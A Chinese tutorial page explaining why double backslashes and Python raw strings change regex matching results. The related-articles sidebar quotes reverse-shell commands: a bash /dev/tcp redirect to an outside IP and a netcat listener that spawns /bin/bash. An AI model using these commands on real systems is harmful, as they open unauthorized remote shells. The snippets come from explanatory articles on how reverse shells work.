正则表达式中两个反斜杠的匹配规则详解

 更新时间:2020-11-19 10:25:18   作者:佚名   我要评论(0)

关于正则表达式raw的\匹配规则

这是我在学习中获得到的一个例子,第一表达式中匹配到的是none。于是乎我就在思考,为什么会匹配不到,假设\t被转义成一个\t,那么也

关于正则表达式raw的\匹配规则

一个常见的例题

这是我在学习中获得到的一个例子,第一表达式中匹配到的是none。于是乎我就在思考,为什么会匹配不到,假设\t被转义成一个\t,那么也应该匹配到\tsanle,而不是none。
为了验证这个问题,我做了如下的实验:

在这里插入图片描述

那为什么一个会出现这样的结果呢,在正则表达式中,需要查找的字符串,会进行两次转义,先是传入的字符串进行第一层转换,例如:\\t --> \t .然后传到re解析器里进行第二层转换,\t -->tab键。而需要匹配的字符串\\\t -->两个反斜杠会变成一个反斜杠(因为前面那个\会转义后面的\,所以两个\就会变成一个\)。然后就变成\\t了,然后就变成直接的一个tab键,他们就匹配上了。
当出现raw时,如下:

在这里插入图片描述

原来可以匹配的就变得不能匹配了,为什么呢,因为使用了raw之后原本会进行的第一层转换,就不再存在了,直接进入re解析器中进行第二层转换:
例如:\\tsanle -->只进行一次转换就变成了\tsanle.然而需要匹配的字符串还是进行之前的转换,就一个tab,他们就无法匹配上了。
以上就是我所理解的,如有疑惑,可以私信提问。这就是我所理解的正则规则

到此这篇关于正则表达式中两个反斜杠的匹配规则详解的文章就介绍到这了,更多相关正则表达式反斜杠内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

您可能感兴趣的文章:
  • python正则表达式 匹配反斜杠的操作方法
  • Python字符串和正则表达式中的反斜杠(''\'')问题详解
  • 解决Python正则表达式匹配反斜杠''''\''''问题
  • python 正则表达式 反斜杠(/)的麻烦和陷阱

相关文章

  • 正则表达式中两个反斜杠的匹配规则详解

    正则表达式中两个反斜杠的匹配规则详解

    关于正则表达式raw的\匹配规则 这是我在学习中获得到的一个例子,第一表达式中匹配到的是none。于是乎我就在思考,为什么会匹配不到,假设\t被转义成一个\t,那么也
    2020-11-19
  • Shell文本处理三剑客之sed的使用

    Shell文本处理三剑客之sed的使用

    sed 是 stream editor 的缩写,流编辑器,主要用于对标准输出或文件进行处理。 语法: stdout | sed [option] "pattern command" sed [option] "pattern comma
    2020-11-19
  • linux反弹shell的原理详解

    linux反弹shell的原理详解

    完整命令 反弹shell命令: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bas
    2020-11-19
  • 浅析Linux之bash反弹shell原理

    浅析Linux之bash反弹shell原理

    环境 攻击机:kali ip:192.168.25.144 靶 机:centos ip:192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令
    2020-11-19
  • Linux Shell 如何获取参数的方法

    Linux Shell 如何获取参数的方法

    $# 是传给脚本的参数个数 $0 是脚本本身的名字 $1 是传递给该shell脚本的第一个参数 $2 是传递给该shell脚本的第二个参数 $@ 是传给脚本的所有参数的列表
    2020-11-19
  • shell模糊匹配与正则详解

    shell模糊匹配与正则详解

    前言: 正则可以实现一些简单的功能,并用在脚本中,如检测ip地址是否符合规范,检测文件名是否符合规范等等。 正则表达式 正则表达式主要是用来描述一个句法规则
    2020-11-19
  • 详解shell中脚本参数传递的两种方式

    详解shell中脚本参数传递的两种方式

    方式一:$0,$1,$2.. 采用$0,$1,$2..等方式获取脚本命令行传入的参数,值得注意的是,$0获取到的是脚本路径以及脚本名,后面按顺序获取参数,当参数超过10个时(包括1
    2020-11-19
  • shell之定时周期性执行脚本的方法示例

    shell之定时周期性执行脚本的方法示例

    示例 1.编写测试脚本脚本 time .sh $ cat time.sh #! /bin/bash echo $(date +%s) >> /home/ocean/out.txt 保存完毕后记得给予权限 chmod 777 test.sh
    2020-11-19
  • Linux 通过 autojump 命令减少 cd 命令的使用的实现方法

    Linux 通过 autojump 命令减少 cd 命令的使用的实现方法

    Linux - 通过 autojump 命令减少 cd 命令的使用 1、安装 autojump git clone git://github.com/joelthelion/autojump.git 安装 cd autojump ./install.py 卸载
    2020-11-19
  • shell字符串截取报错:Bad substitution的解决

    shell字符串截取报错:Bad substitution的解决

    问题重现: 当前系统Ubuntu16 shell进行字符串截取 运行 ${GIT_COMMIT:0:6}报错: /tmp/jenkins7505855461406722507.sh: 4: /tmp/jenkins7505855461406722507.s
    2020-11-19

最新评论